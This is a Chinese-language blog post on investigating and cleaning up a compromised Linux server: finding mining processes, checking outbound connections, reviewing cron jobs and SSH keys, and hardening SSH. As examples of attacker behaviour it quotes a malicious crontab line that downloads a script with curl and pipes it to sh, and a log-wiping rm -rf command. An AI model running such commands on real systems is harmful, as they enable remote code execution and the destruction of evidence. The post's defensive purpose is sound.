做站长这些年,最怕的不是网站被DDoS,也不是数据库崩了,而是某天登录服务器,发现CPU莫名跑满、带宽被吃光、或者收到云厂商发来的“对外攻击”警告邮件。这时候大概率意味着:你的Linux服务器已经被入侵,变成了别人的“肉鸡”或挖矿矿机。
很多朋友遇到这种情况第一反应是重装系统,但如果不搞清楚“怎么进来的”以及“怎么藏身的”,重装后往往还会再次中招。今天笔者就结合自己踩过的坑,把Linux服务器入侵排查的标准流程拆解成几个高频疑问,希望能帮到正对着终端发愁的你。
高频疑问一:服务器好像被入侵了,我该从哪几个方向下手排查?
💡 推荐阅读:别急着改源码:一份开源Docker项目的二次开发实战心法,从编译到上线的避坑指南
Q:感觉服务器异常,但毫无头绪,有没有一套通用的排查逻辑?
站长经验:当然有。排查就像破案,核心逻辑是“由外到内,由浅入深”。不要一上来就去翻系统日志,先看最直观的资源占用和网络连接。下面这四步是我每次必走的流程:
- 看资源:谁在疯狂消耗CPU和内存?
- 看网络:谁在偷偷建立对外连接?
- 看进程:有没有名字奇怪或路径异常的进程?
- 看持久化:攻击者是怎么做到重启后依然存活的?
Q:具体用什么命令能快速定位可疑进程?
站长经验:别只用top,那个只能看个大概。我习惯用下面这几条组合拳,能快速把“内鬼”揪出来:
# 1. 查看CPU占用排名前10的进程,注意看COMMAND列有没有乱码或奇怪名字
ps aux --sort=-%cpu | head -n 11
# 2. 查看所有进程的完整启动路径,挖矿病毒经常伪装成系统进程但路径在 /tmp 或 /dev/shm
ls -l /proc/*/exe | grep -v '^/usr' | grep -v '^/bin' | grep -v '^/sbin'
# 3. 查看隐藏进程(有些rootkit会隐藏进程,对比/proc和ps结果)
ps -ef | awk '{print $2}' | sort -n | uniq > ps.txt
ls /proc | grep -E '^[0-9]+$' | sort -n | uniq > proc.txt
diff ps.txt proc.txt
高频疑问二:发现异常外连IP,怎么确认是不是攻击者在回连C&C?
💡 延伸阅读:告别命令行折腾!Nginx Proxy Manager 与裸配 Nginx、Traefik 的深度横评,手把手教你用 Docker 一键部署可视化管理面板
Q:用netstat看到一堆ESTABLISHED连接,哪些是正常的,哪些是恶意的?
站长经验:这是最考验经验的地方。正常的Web服务器会有大量80/443端口的连接,但如果出现大量对外连接陌生IP的非常规端口(如3333、4444、5555、6666等),基本可以断定是矿池连接或反弹Shell。
我通常用这个命令来筛选:
# 查看所有已建立的TCP连接,并显示对应的进程PID
netstat -antp | grep ESTABLISHED
# 如果netstat没装,用ss命令更快
ss -antp | grep ESTAB
重点关注状态为ESTABLISHED且PID对应的进程路径不在标准目录下的连接。比如一个进程路径是/tmp/.X11-unix/kinsing,那不用想了,直接kill掉并删除文件。
Q:攻击者留下的定时任务和启动项怎么查?
站长经验:这是最容易被忽略的“不死小强”环节。很多挖矿病毒会写crontab,每几分钟拉取一次更新。排查命令如下:
# 查看当前用户的定时任务
crontab -l
# 查看系统级定时任务(重点看 /etc/cron.d/ 和 /var/spool/cron/)
ls -la /etc/cron*
cat /etc/crontab
ls -la /var/spool/cron/
# 查看开机启动项
systemctl list-unit-files --type=service | grep enabled
cat /etc/rc.local
ls -la /etc/init.d/
如果看到类似 */5 * * * * curl -fsSL http://xxx.xxx/xx.sh | sh 这种,那就是实锤了。
高频疑问三:日志被清空了怎么办?还有没有其他线索?
💡 深度技术指南:告别公有云限速与隐私焦虑:用Docker打造私有网盘,Nextcloud与Seafile谁才是你的真命天子?
Q:/var/log/secure 和 messages 都被删了,还能溯源吗?
站长经验:高级攻击者进来第一件事就是rm -rf /var/log/*。但别急,还有几个地方能挖出线索:
- 查看登录历史:
last和lastb命令有时会残留记录,但攻击者可能也会清理/var/log/wtmp。 - 查看用户家目录的 .bash_history:很多新手攻击者忘了清这个,里面能直接看到他们干了什么。
- 查看 /root/.ssh/authorized_keys:攻击者很可能留了后门公钥,实现免密登录。
- 查看进程的打开文件:用
lsof -p PID看恶意进程打开了哪些文件,顺藤摸瓜找到病毒母体。
Q:有没有一键排查脚本推荐?
站长经验:网上有很多开源的应急响应脚本,比如 GScan 或 lynis,但笔者建议不要完全依赖自动化工具。攻击者会针对常见工具做免杀。最好的工具是你的眼睛和这几条核心命令。如果你实在拿不准,可以把可疑进程的哈希值放到 VirusTotal 上查一下,基本就水落石出了。
根因深度剖析:服务器到底是怎么被攻破的?
排查完清理完,如果不搞清楚入侵原因,等于白干。根据笔者经验,90%的Linux服务器入侵都源于以下三个漏洞:
| 入侵途径 | 典型特征 | 修复难度 |
|---|---|---|
| SSH弱口令爆破 | 日志大量 Failed password,成功登录后直接提权 | 低(改端口+密钥登录) |
| Web应用漏洞(如Redis未授权、ThinkPHP RCE) | Web用户权限执行了系统命令,下载了恶意脚本 | 中(需修复代码或限制权限) |
| 第三方组件漏洞(如Log4j、Fastjson) | Java进程异常外连,内存马注入 | 高(需升级组件) |
解决方案代码:清理与加固实操
确认入侵后,按以下步骤进行清理(操作前建议先快照备份,防止误删):
# 1. 隔离恶意进程(先停止,再删除文件)
kill -9 [恶意PID]
rm -rf /tmp/kinsing /tmp/.X11-unix # 根据实际路径替换
# 2. 清理定时任务
crontab -r # 清空当前用户定时任务
rm -f /etc/cron.d/恶意文件名
# 3. 检查并删除可疑SSH公钥
cat /root/.ssh/authorized_keys # 如果有陌生key,全部删除
> /root/.ssh/authorized_keys
# 4. 修改SSH配置,禁用密码登录
vim /etc/ssh/sshd_config
# 修改以下参数:
# PasswordAuthentication no
# PermitRootLogin prohibit-password
# Port 22222 # 改成非标准端口
systemctl restart sshd
预防建议:别等出事了才后悔
与其事后排查,不如提前做好防御。笔者给各位站长几条掏心窝子的建议:
- 买服务器别贪便宜:尽量选择靠谱的云厂商,虽然贵一点,但安全组和基础防护更完善。那些几块钱一个月的杂牌VPS,往往就是挖矿重灾区。
- SSH密钥登录是底线:密码再复杂也有可能被爆破,密钥登录+改端口能挡住99%的脚本小子。
- 最小权限原则:Web服务用www用户跑,数据库用mysql用户跑,别什么都用root。
- 定期打补丁:尤其是Redis、Nginx、PHP这些暴露在公网的服务,有漏洞赶紧升。
- 装个轻量级HIDS:比如
Wazuh或osquery,能实时监控文件变动和异常进程,比事后救火强得多。
服务器安全是个持续对抗的过程,没有一劳永逸。但只要掌握了这套排查思路,下次再遇到半夜报警,你也能淡定地打开终端,三下五除二把“内鬼”清理干净。希望这篇笔记能帮到你,如果排查中遇到什么诡异情况,也欢迎随时和笔者交流。